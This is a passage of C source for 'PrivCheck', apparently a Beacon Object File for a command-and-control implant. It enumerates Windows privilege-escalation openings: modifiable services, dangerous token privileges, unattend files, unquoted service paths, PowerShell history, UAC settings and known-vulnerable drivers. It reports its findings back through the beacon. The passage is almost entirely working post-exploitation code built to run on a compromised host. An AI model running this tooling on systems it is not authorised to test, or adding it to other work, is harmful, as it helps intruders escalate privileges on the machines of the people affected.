&dwResumeHandle, NULL)) {\n        goto modsvc_cleanup;\n    }\n\n    pServiceStatus = (LPENUM_SERVICE_STATUS_PROCESSA)pServices;\n\n    for (DWORD i = 0; i < dwServicesReturned; i++) {\n        hService = ADVAPI32$OpenServiceA(hSCManager, pServiceStatus[i].lpServiceName, READ_CONTROL | SERVICE_QUERY_CONFIG);\n        if (!hService) continue;\n\n        dwSDSize = 0;\n        ADVAPI32$QueryServiceObjectSecurity(hService, DACL_SECURITY_INFORMATION, NULL, 0, &dwSDSize);\n        if (dwSDSize == 0) { ADVAPI32$CloseServiceHandle(hService); hService = NULL; continue; }\n\n        pSD = (PSECURITY_DESCRIPTOR)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwSDSize);\n        if (!pSD || !ADVAPI32$QueryServiceObjectSecurity(hService, DACL_SECURITY_INFORMATION, pSD, dwSDSize, &dwSDSize)) {\n            if (pSD) { KERNEL32$HeapFree(hHeap, 0, pSD); pSD = NULL; }\n            ADVAPI32$CloseServiceHandle(hService); hService = NULL; continue;\n        }\n\n        pDacl = NULL;\n        if (!ADVAPI32$GetSecurityDescriptorDacl(pSD, &bDaclPresent, &pDacl, &bDaclDefaulted) || !bDaclPresent || !pDacl) {\n            KERNEL32$HeapFree(hHeap, 0, pSD); pSD = NULL;\n            ADVAPI32$CloseServiceHandle(hService); hService = NULL; continue;\n        }\n\n        for (DWORD j = 0; j < pDacl->AceCount; j++) {\n            PACE_HEADER pAceHeader = NULL;\n            if (!ADVAPI32$GetAce(pDacl, j, (LPVOID*)&pAceHeader)) continue;\n            if (pAceHeader->AceType != ACCESS_ALLOWED_ACE_TYPE) continue;\n            PACCESS_ALLOWED_ACE pAce = (PACCESS_ALLOWED_ACE)pAceHeader;\n            PSID pAceSid = (PSID)&pAce->SidStart;\n            if (!HasModifyRights(pAce->Mask)) continue;\n\n            BOOL bMatch = FALSE;\n            if (ADVAPI32$EqualSid(pAceSid, pTokenUser->User.Sid)) bMatch = TRUE;\n            else ADVAPI32$CheckTokenMembership(hToken, pAceSid, &bMatch);\n\n            if (bMatch) {\n                dwConfigSize = 0;\n                ADVAPI32$QueryServiceConfigA(hService, NULL, 0, &dwConfigSize);\n                if (dwConfigSize > 0) {\n                    pConfig = (LPQUERY_SERVICE_CONFIGA)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwConfigSize);\n                    if (pConfig && ADVAPI32$QueryServiceConfigA(hService, pConfig, dwConfigSize, &dwConfigSize)) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] VULNERABLE: %s\\n\", pServiceStatus[i].lpServiceName);\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC]   Display: %s\\n\", pConfig->lpDisplayName ? pConfig->lpDisplayName : \"N/A\");\n                        BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC]   Binary:  %s\\n\", pConfig->lpBinaryPathName ? pConfig->lpBinaryPathName : \"N/A\");\n                        nVulnerable++;\n                    }\n                    if (pConfig) { KERNEL32$HeapFree(hHeap, 0, pConfig); pConfig = NULL; }\n                }\n                break;\n            }\n        }\n        KERNEL32$HeapFree(hHeap, 0, pSD); pSD = NULL;\n        ADVAPI32$CloseServiceHandle(hService); hService = NULL;\n    }\n\n    if (nVulnerable > 0) BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] Found %d modifiable service(s)!\\n\", nVulnerable);\n    else BeaconPrintf(CALLBACK_OUTPUT, \"[MODSVC] No modifiable services found\\n\");\n\nmodsvc_cleanup:\n    if (pConfig) KERNEL32$HeapFree(hHeap, 0, pConfig);\n    if (pSD) KERNEL32$HeapFree(hHeap, 0, pSD);\n    if (pServices) KERNEL32$HeapFree(hHeap, 0, pServices);\n    if (pTokenUser) KERNEL32$HeapFree(hHeap, 0, pTokenUser);\n    if (hService) ADVAPI32$CloseServiceHandle(hService);\n    if (hSCManager) ADVAPI32$CloseServiceHandle(hSCManager);\n    if (hToken) KERNEL32$CloseHandle(hToken);\n}\n\n/* ============================================================\n * CHECK: TokenPrivileges\n * ============================================================ */\nstatic BOOL IsVulnerablePrivilege(char * privilegeNameBuffer) {\n    static const char * KnownVulnerable[] = {\n        \"SeAssignPrimaryToken\", \"SeBackupPrivilege\", \"SeCreateTokenPrivilege\",\n        \"SeRestorePrivilege\", \"SeDebugPrivilege\", \"SeImpersonatePrivilege\",\n        \"SeLoadDriverPrivilege\", \"SeManageVolumePrivilege\", \"SeTcbPrivilege\",\n        \"SeTakeOwnershipPrivilege\", NULL\n    };\n    int i = 0;\n    while (KnownVulnerable[i]) {\n        if (MSVCRT$_stricmp(KnownVulnerable[i], privilegeNameBuffer) == 0) return TRUE;\n        i++;\n    }\n    return FALSE;\n}\n\nvoid CheckTokenPrivileges() {\n    HANDLE tokenHandle;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Token Privileges Check ===\\n\");\n\n    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &tokenHandle)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PRIVILEGE] Failed to open process token. Error: %lu\\n\", KERNEL32$GetLastError());\n        return;\n    }\n\n    DWORD tokenInfoSize = 0;\n    ADVAPI32$GetTokenInformation(tokenHandle, TokenPrivileges, NULL, 0, &tokenInfoSize);\n    if (tokenInfoSize == 0) { KERNEL32$CloseHandle(tokenHandle); return; }\n\n    PTOKEN_PRIVILEGES tokenPrivileges = (PTOKEN_PRIVILEGES)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, tokenInfoSize);\n    if (!tokenPrivileges) { KERNEL32$CloseHandle(tokenHandle); return; }\n\n    if (ADVAPI32$GetTokenInformation(tokenHandle, TokenPrivileges, tokenPrivileges, tokenInfoSize, &tokenInfoSize)) {\n        for (DWORD i = 0; i < tokenPrivileges->PrivilegeCount; ++i) {\n            LUID privilegeLuid = tokenPrivileges->Privileges[i].Luid;\n            char privilegeNameBuffer[256];\n            DWORD bufferSize = sizeof(privilegeNameBuffer);\n            if (ADVAPI32$LookupPrivilegeNameA(NULL, &privilegeLuid, privilegeNameBuffer, &bufferSize)) {\n                BOOL isEnabled = (tokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) == SE_PRIVILEGE_ENABLED;\n                BOOL isVulnerable = IsVulnerablePrivilege(privilegeNameBuffer);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[PRIVILEGE] %s: %s %s\\n\", privilegeNameBuffer,\n                    isEnabled ? \"Enabled\" : \"Disabled\", isVulnerable ? \"- Vulnerable\" : \"\");\n            }\n        }\n    }\n\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, tokenPrivileges);\n    KERNEL32$CloseHandle(tokenHandle);\n}\n\n/* ============================================================\n * CHECK: UnattendFiles\n * ============================================================ */\nvoid CheckUnattendFiles() {\n    char szWinDir[MAX_PATH * 2];\n    int NumOfFoundFiles = 0;\n    HANDLE hFile;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Unattend Files Check ===\\n\");\n\n    if (KERNEL32$GetWindowsDirectoryA(szWinDir, sizeof(szWinDir)) == 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UNATTEND_FILES] Failed to resolve Windows directory\\n\");\n        return;\n    }\n\n    static const char * UnattendFiles[] = {\n        \"\\\\sysprep\\\\sysprep.xml\", \"\\\\sysprep\\\\sysprep.inf\", \"\\\\sysprep.inf\",\n        \"\\\\Panther\\\\Unattended.xml\", \"\\\\Panther\\\\Unattend.xml\",\n        \"\\\\Panther\\\\Unattend\\\\Unattend.xml\", \"\\\\Panther\\\\Unattend\\\\Unattended.xml\",\n        \"\\\\System32\\\\Sysprep\\\\unattend.xml\", \"\\\\System32\\\\Sysprep\\\\Panther\\\\unattend.xml\", NULL\n    };\n\n    for (int i = 0; UnattendFiles[i] != NULL; i++) {\n        char FullPath[MAX_PATH * 2];\n        USER32$wsprintfA(FullPath, \"%s%s\", szWinDir, UnattendFiles[i]);\n        hFile = KERNEL32$CreateFileA(FullPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n        if (hFile != INVALID_HANDLE_VALUE) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[UNATTEND_FILES] Unattend file found: %s\\n\", FullPath);\n            NumOfFoundFiles++;\n            KERNEL32$CloseHandle(hFile);\n        }\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[UNATTEND_FILES] Found a total of %d unattend files\\n\", NumOfFoundFiles);\n}\n\n/* ============================================================\n * CHECK: UnquotedServicePath\n * ============================================================ */\nvoid CheckUnquotedServicePath() {\n    HKEY servicesKey;\n    BOOL foundVulnerablePath = FALSE;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Unquoted Service Path Check ===\\n\");\n\n    if (ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\\", 0, KEY_READ, &servicesKey) == ERROR_SUCCESS) {\n        char serviceSubkeyName[256];\n        DWORD subkeyIndex = 0;\n        DWORD subkeyNameSize = sizeof(serviceSubkeyName);\n        while (TRUE) {\n            subkeyNameSize = sizeof(serviceSubkeyName);\n            if (ADVAPI32$RegEnumKeyExA(servicesKey, subkeyIndex++, serviceSubkeyName, &subkeyNameSize, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break;\n\n            HKEY imagePathKey;\n            if (ADVAPI32$RegOpenKeyExA(servicesKey, serviceSubkeyName, 0, KEY_READ, &imagePathKey) == ERROR_SUCCESS) {\n                char imagePathValue[1024] = { 0 };\n                DWORD valueSize = sizeof(imagePathValue);\n                if (ADVAPI32$RegGetValueA(imagePathKey, NULL, \"ImagePath\", RRF_RT_REG_SZ, NULL, &imagePathValue, &valueSize) != ERROR_SUCCESS) {\n                    ADVAPI32$RegCloseKey(imagePathKey); continue;\n                }\n                if (SHLWAPI$StrStrIA(imagePathValue, \" \") == NULL || SHLWAPI$StrStrIA(imagePathValue, \"\\\"\") != NULL) {\n                    ADVAPI32$RegCloseKey(imagePathKey); continue;\n                }\n                if (SHLWAPI$StrStrIA(imagePathValue, \"System32\") != NULL ||\n                    SHLWAPI$StrStrIA(imagePathValue, \"SysWow64\") != NULL ||\n                    SHLWAPI$StrStrIA(imagePathValue, \".sys\") != NULL) {\n                    ADVAPI32$RegCloseKey(imagePathKey); continue;\n                }\n                BeaconPrintf(CALLBACK_OUTPUT, \"[SERVICE_PATH] Service '%s' has an unquoted executable path: %s\\n\", serviceSubkeyName, imagePathValue);\n                foundVulnerablePath = TRUE;\n                ADVAPI32$RegCloseKey(imagePathKey);\n            }\n        }\n        ADVAPI32$RegCloseKey(servicesKey);\n    }\n    if (!foundVulnerablePath) BeaconPrintf(CALLBACK_OUTPUT, \"[SERVICE_PATH] No unquoted service paths found\\n\");\n}\n\n/* ============================================================\n * CHECK: PowerShellHistory\n * ============================================================ */\nvoid CheckPowerShellHistory() {\n    char szPath[MAX_PATH];\n    char szAppData[MAX_PATH];\n    DWORD dwSize;\n    HANDLE hFile;\n    LARGE_INTEGER liFileSize;\n    int i, j;\n    const char* pszSubPath = \"\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadLine\\\\ConsoleHost_history.txt\";\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== PowerShell History Check ===\\n\");\n\n    dwSize = KERNEL32$GetEnvironmentVariableA(\"APPDATA\", szAppData, sizeof(szAppData));\n    if (dwSize == 0 || dwSize >= sizeof(szAppData)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] Failed to get APPDATA path\\n\");\n        return;\n    }\n\n    i = 0;\n    while (szAppData[i] != '\\0' && i < MAX_PATH - 1) { szPath[i] = szAppData[i]; i++; }\n    j = 0;\n    while (pszSubPath[j] != '\\0' && i < MAX_PATH - 1) { szPath[i] = pszSubPath[j]; i++; j++; }\n    szPath[i] = '\\0';\n\n    hFile = KERNEL32$CreateFileA(szPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,\n        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) {\n        DWORD dwErr = KERNEL32$GetLastError();\n        if (dwErr == ERROR_FILE_NOT_FOUND || dwErr == ERROR_PATH_NOT_FOUND)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] PowerShell history file not found: %s\\n\", szPath);\n        else\n            BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] Error accessing file. Error: %lu\\n\", dwErr);\n        return;\n    }\n\n    liFileSize.QuadPart = 0;\n    KERNEL32$GetFileSizeEx(hFile, &liFileSize);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY] PowerShell history file found!\\n\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Path: %s\\n\", szPath);\n    if (liFileSize.QuadPart >= 1048576)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Size: %lu MB\\n\", (DWORD)(liFileSize.QuadPart / 1048576));\n    else if (liFileSize.QuadPart >= 1024)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Size: %lu KB\\n\", (DWORD)(liFileSize.QuadPart / 1024));\n    else\n        BeaconPrintf(CALLBACK_OUTPUT, \"[PSHISTORY]   Size: %lu bytes\\n\", (DWORD)liFileSize.QuadPart);\n\n    KERNEL32$CloseHandle(hFile);\n}\n\n/* ============================================================\n * CHECK: UACStatus\n * ============================================================ */\nvoid CheckUACStatus() {\n    HKEY hKey = NULL;\n    LONG lResult;\n    DWORD dwEnableLUA = 0, dwConsentPrompt = 0, dwSecureDesktop = 0;\n    DWORD dwSize = sizeof(DWORD), dwType = 0;\n    HANDLE hToken = NULL;\n    DWORD dwIntegrityLevel = 0, dwLengthNeeded = 0;\n    PTOKEN_MANDATORY_LABEL pTIL = NULL;\n    PTOKEN_GROUPS pTokenGroups = NULL;\n    HANDLE hHeap = NULL;\n    BOOL bIsAdmin = FALSE, bIsElevated = FALSE;\n    PSID pAdminSid = NULL;\n    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== UAC Status Check ===\\n\");\n\n    lResult = ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE,\n        \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\", 0, KEY_READ, &hKey);\n    if (lResult != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Failed to open registry key. Error: %ld\\n\", lResult);\n        return;\n    }\n\n    dwSize = sizeof(DWORD);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"EnableLUA\", NULL, &dwType, (LPBYTE)&dwEnableLUA, &dwSize);\n    if (lResult == ERROR_SUCCESS)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] UAC Enabled (EnableLUA): %s\\n\", dwEnableLUA ? \"Yes\" : \"No\");\n\n    dwSize = sizeof(DWORD);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"ConsentPromptBehaviorAdmin\", NULL, &dwType, (LPBYTE)&dwConsentPrompt, &dwSize);\n    if (lResult == ERROR_SUCCESS) {\n        const char* desc = \"Unknown\";\n        switch (dwConsentPrompt) {\n            case 0: desc = \"Elevate without prompting\"; break;\n            case 1: desc = \"Prompt for credentials on secure desktop\"; break;\n            case 2: desc = \"Prompt for consent on secure desktop\"; break;\n            case 3: desc = \"Prompt for credentials\"; break;\n            case 4: desc = \"Prompt for consent\"; break;\n            case 5: desc = \"Prompt for consent for non-Windows binaries\"; break;\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] ConsentPromptBehaviorAdmin: %lu (%s)\\n\", dwConsentPrompt, desc);\n    }\n\n    dwSize = sizeof(DWORD);\n    lResult = ADVAPI32$RegQueryValueExA(hKey, \"PromptOnSecureDesktop\", NULL, &dwType, (LPBYTE)&dwSecureDesktop, &dwSize);\n    if (lResult == ERROR_SUCCESS)\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] PromptOnSecureDesktop: %s\\n\", dwSecureDesktop ? \"Yes\" : \"No\");\n\n    ADVAPI32$RegCloseKey(hKey); hKey = NULL;\n\n    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &hToken)) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Failed to open process token\\n\");\n        return;\n    }\n\n    hHeap = KERNEL32$GetProcessHeap();\n\n    dwLengthNeeded = 0;\n    ADVAPI32$GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLengthNeeded);\n    if (dwLengthNeeded > 0) {\n        pTIL = (PTOKEN_MANDATORY_LABEL)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwLengthNeeded);\n        if (pTIL && ADVAPI32$GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLengthNeeded, &dwLengthNeeded)) {\n            PUCHAR pCount = ADVAPI32$GetSidSubAuthorityCount(pTIL->Label.Sid);\n            if (pCount && *pCount > 0) {\n                PDWORD pLevel = ADVAPI32$GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(*pCount - 1));\n                if (pLevel) dwIntegrityLevel = *pLevel;\n            }\n        }\n    }\n\n    if (dwIntegrityLevel < SECURITY_MANDATORY_LOW_RID) BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: Untrusted\\n\");\n    else if (dwIntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID) BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: Low\\n\");\n    else if (dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: Medium\\n\");\n    else if (dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID) { BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: High (Elevated)\\n\"); bIsElevated = TRUE; }\n    else { BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Integrity Level: System\\n\"); bIsElevated = TRUE; }\n\n    if (ADVAPI32$AllocateAndInitializeSid(&NtAuthority, 2,\n            SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminSid)) {\n        dwLengthNeeded = 0;\n        ADVAPI32$GetTokenInformation(hToken, TokenGroups, NULL, 0, &dwLengthNeeded);\n        if (dwLengthNeeded > 0) {\n            pTokenGroups = (PTOKEN_GROUPS)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwLengthNeeded);\n            if (pTokenGroups && ADVAPI32$GetTokenInformation(hToken, TokenGroups, pTokenGroups, dwLengthNeeded, &dwLengthNeeded)) {\n                for (DWORD i = 0; i < pTokenGroups->GroupCount; i++) {\n                    if (ADVAPI32$EqualSid(pAdminSid, pTokenGroups->Groups[i].Sid)) { bIsAdmin = TRUE; break; }\n                }\n            }\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Local Admin Group Member: %s\\n\", bIsAdmin ? \"Yes\" : \"No\");\n    if (bIsElevated) BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] Process is running with elevated privileges\\n\");\n    else if (bIsAdmin && dwEnableLUA) BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] User is local admin but NOT elevated (UAC filtered token)\\n\");\n    else if (bIsAdmin && !dwEnableLUA) BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] User is local admin and UAC is disabled\\n\");\n    else BeaconPrintf(CALLBACK_OUTPUT, \"[UACSTATUS] User is NOT a local admin\\n\");\n\n    if (pAdminSid) ADVAPI32$FreeSid(pAdminSid);\n    if (pTokenGroups) KERNEL32$HeapFree(hHeap, 0, pTokenGroups);\n    if (pTIL) KERNEL32$HeapFree(hHeap, 0, pTIL);\n    if (hToken) KERNEL32$CloseHandle(hToken);\n}\n\n/* ============================================================\n * CHECK: VulnerableDrivers\n * ============================================================ */\nstatic BOOL CompareHashToVuln(char* DriverHash) {\n    int i = 0;\n    while (VulnerableHashes[i]) {\n        if (MSVCRT$_stricmp(VulnerableHashes[i], DriverHash) == 0) return TRUE;\n        i++;\n    }\n    return FALSE;\n}\n\nstatic void resolveDriverImagePath(char* imagePath, char* resolvedPath, size_t pathSize) {\n    char szSystemRoot[MAX_PATH * 2];\n    if (!KERNEL32$GetEnvironmentVariableA(\"SystemRoot\", szSystemRoot, sizeof(szSystemRoot))) return;\n\n    if (MSVCRT$_strnicmp(imagePath, \"\\\\SystemRoot\\\\\", 12) == 0) {\n        USER32$wsprintfA(resolvedPath, \"%s%s\", szSystemRoot, imagePath + 11);\n    } else if (MSVCRT$_strnicmp(imagePath, \"System32\\\\\", 9) == 0) {\n        USER32$wsprintfA(resolvedPath, \"%s\\\\%s\", szSystemRoot, imagePath);\n    } else if (MSVCRT$_strnicmp(imagePath, \"\\\\??\\\\\", 4) == 0) {\n        MSVCRT$strncpy(resolvedPath, imagePath + 4, pathSize - 1);\n        resolvedPath[pathSize - 1] = '\\0';\n    } else {\n        MSVCRT$strncpy(resolvedPath, imagePath, pathSize - 1);\n        resolvedPath[pathSize - 1] = '\\0';\n    }\n}\n\nstatic BOOL CalculateHash(char * szFilePath, char szFileHash[65], const char * szHashAlg) {\n    HANDLE hFile;\n    HCRYPTPROV hProv;\n    HCRYPTHASH hHash;\n    BOOL bResult;\n    BYTE rgbFile[BUFSIZE];\n    DWORD cbRead, cbHash;\n    BYTE rgbHash[SHA256LEN];\n    CHAR rgbDigits[] = \"0123456789abcdef\";\n    ALG_ID hashAlgId;\n    DWORD hashLen;\n\n    if (MSVCRT$_stricmp(szHashAlg, \"SHA1\") == 0)        { hashAlgId = CALG_SHA1;   hashLen = SHA1LEN;   }\n    else if (MSVCRT$_stricmp(szHashAlg, \"SHA256\") == 0)  { hashAlgId = CALG_SHA_256; hashLen = SHA256LEN; }\n    else if (MSVCRT$_stricmp(szHashAlg, \"MD5\") == 0)     { hashAlgId = CALG_MD5;    hashLen = MD5LEN;    }\n    else return FALSE;\n\n    cbHash = hashLen;\n    hFile = KERNEL32$CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) return FALSE;\n\n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { KERNEL32$CloseHandle(hFile); return FALSE; }\n    if (!ADVAPI32$CryptCreateHash(hProv, hashAlgId, 0, 0, &hHash)) { KERNEL32$CloseHandle(hFile); ADVAPI32$CryptReleaseContext(hProv, 0); return FALSE; }\n\n    while ((bResult = KERNEL32$ReadFile(hFile, rgbFile, BUFSIZE, &cbRead, NULL))) {\n        if (cbRead == 0) break;\n        if (!ADVAPI32$CryptHashData(hHash, rgbFile, cbRead, 0)) {\n            ADVAPI32$CryptReleaseContext(hProv, 0); ADVAPI32$CryptDestroyHash(hHash); KERNEL32$CloseHandle(hFile); return FALSE;\n        }\n    }\n    if (!bResult) { ADVAPI32$CryptReleaseContext(hProv, 0); ADVAPI32$CryptDestroyHash(hHash); KERNEL32$CloseHandle(hFile); return FALSE; }\n\n    if (ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, rgbHash, &cbHash, 0)) {\n        for (DWORD i = 0; i < cbHash; i++) {\n            szFileHash[i * 2] = rgbDigits[rgbHash[i] >> 4];\n            szFileHash[i * 2 + 1] = rgbDigits[rgbHash[i] & 0xf];\n        }\n        szFileHash[cbHash * 2] = '\\0';\n        ADVAPI32$CryptDestroyHash(hHash); ADVAPI32$CryptReleaseContext(hProv, 0); KERNEL32$CloseHandle(hFile);\n        return TRUE;\n    }\n    ADVAPI32$CryptDestroyHash(hHash); ADVAPI32$CryptReleaseContext(hProv, 0); KERNEL32$CloseHandle(hFile);\n    return FALSE;\n}\n\nvoid CheckVulnerableDrivers() {\n    HKEY servicesKey;\n    char resolvedPath[MAX_PATH];\n    int NumOfVulnDrivers = 0;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"=== Vulnerable Drivers Check ===\\n\");\n\n    if (ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\\", 0, KEY_READ, &servicesKey) == ERROR_SUCCESS) {\n        char serviceSubkeyName[256];\n        DWORD subkeyIndex = 0;\n        DWORD subkeyNameSize = sizeof(serviceSubkeyName);\n        while (ADVAPI32$RegEnumKeyExA(servicesKey, subkeyIndex++, serviceSubkeyName, &subkeyNameSize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) {\n            HKEY imagePathKey;\n            if (ADVAPI32$RegOpenKeyExA(servicesKey, serviceSubkeyName, 0, KEY_READ, &imagePathKey) == ERROR_SUCCESS) {\n                char imagePathValue[1024];\n                DWORD valueSize = sizeof(imagePathValue);\n                if (ADVAPI32$RegGetValueA(imagePathKey, NULL, \"ImagePath\", RRF_RT_REG_SZ, NULL, &imagePathValue, &valueSize) == ERROR_SUCCESS) {\n                    if (imagePathValue[0] != '\\0' && MSVCRT$strstr(imagePathValue, \".sys\") != NULL) {\n                        resolveDriverImagePath(imagePathValue, resolvedPath, sizeof(resolvedPath));\n                        char FileHash[65];\n                        const char* HashAlgos[] = { \"SHA1\", \"SHA256\", \"MD5\" };\n                        for (int i = 0; i < 3; i++) {\n                            if (CalculateHash(resolvedPath, FileHash, HashAlgos[i])) {\n                                if (CompareHashToVuln(FileHash)) {\n                                    BeaconPrintf(CALLBACK_OUTPUT, \"[VULN_DRIVER] Service \\\"%s\\\" has a vulnerable driver: %s - Hash: %s\\n\", serviceSubkeyName, resolvedPath, FileHash);\n                                    NumOfVulnDrivers++;\n                                    break;\n                                }\n                            }\n                        }\n                    }\n                }\n                ADVAPI32$RegCloseKey(imagePathKey);\n            }\n            subkeyNameSize = sizeof(serviceSubkeyName);\n        }\n        ADVAPI32$RegCloseKey(servicesKey);\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[VULN_DRIVER] Found a total of %d vulnerable drivers\\n\", NumOfVulnDrivers);\n}\n\n/* ============================================================\n * Check registry: name -> function pointer\n * ============================================================ */\ntypedef void (*CheckFunc)(void);\ntypedef struct {\n    const char* name;\n    CheckFunc   func;\n} CheckEntry;\n\nstatic CheckEntry g_checks[] = {\n    { \"alwayselevated\",  CheckAlwaysInstallElevated },\n    { \"autologon\",       CheckAutologon },\n    { \"credmanager\",     CheckCredentialManager },\n    { \"hijackablepath\",  CheckHijackablePath },\n    { \"modautorun\",      CheckModifiableAutorun },\n    { \"modsvc\",          CheckModifiableService },\n    { \"tokenpriv\",       CheckTokenPrivileges },\n    { \"unattendfiles\",   CheckUnattendFiles },\n    { \"unquotedsvc\",     CheckUnquotedServicePath },\n    { \"pshistory\",       CheckPowerShellHistory },\n    { \"uacstatus\",       CheckUACStatus },\n    { \"vulndrivers\",     CheckVulnerableDrivers },\n};\n\n#define NUM_CHECKS (sizeof(g_checks) / sizeof(g_checks[0]))\n\n/* ============================================================\n * BOF Entry Point\n * ============================================================ */\nvoid go(char *args, int alen) {\n    datap parser;\n    char *checks_arg = NULL;\n    int checks_arg_len = 0;\n\n    if (alen > 0) {\n        BeaconDataParse(&parser, args, alen);\n        checks_arg = BeaconDataExtract(&parser, &checks_arg_len);\n    }\n\n    if (checks_arg == NULL || checks_arg_len <= 1 || checks_arg[0] == '\\0') {\n        BeaconPrintf(CALLBACK_OUTPUT, \"========================================\\n\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"  PrivCheck - Running ALL checks\\n\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"========================================\\n\\n\");\n        for (int i = 0; i < (int)NUM_CHECKS; i++) {\n            g_checks[i].func();\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\n        }\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"========================================\\n\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"  PrivCheck - Running selected checks\\n\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"========================================\\n\\n\");\n\n        char buf[1024];\n        int len = checks_arg_len - 1;\n        if (len >= (int)sizeof(buf)) len = (int)sizeof(buf) - 1;\n        for (int c = 0; c < len; c++) buf[c] = checks_arg[c];\n        buf[len] = '\\0';\n\n        char *token = MSVCRT$strtok(buf, \",; \");\n        while (token != NULL) {\n            BOOL found = FALSE;\n            for (int i = 0; i < (int)NUM_CHECKS; i++) {\n                if (MSVCRT$_stricmp(token, g_checks[i].name) == 0) {\n                    g_checks[i].func();\n                    BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\n                    found = TRUE;\n                    break;\n                }\n            }\n            if (!found) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] Unknown check: %s\\n\", token);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] Available: alwayselevated, autologon, credmanager, hijackablepath, modautorun, modsvc, tokenpriv, unattendfiles, unquotedsvc, pshistory, uacstatus, vulndrivers\\n\\n\");\n            }\n            token = MSVCRT$strtok(NULL, \",; \");\n        }\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"========================================\\n\");\n    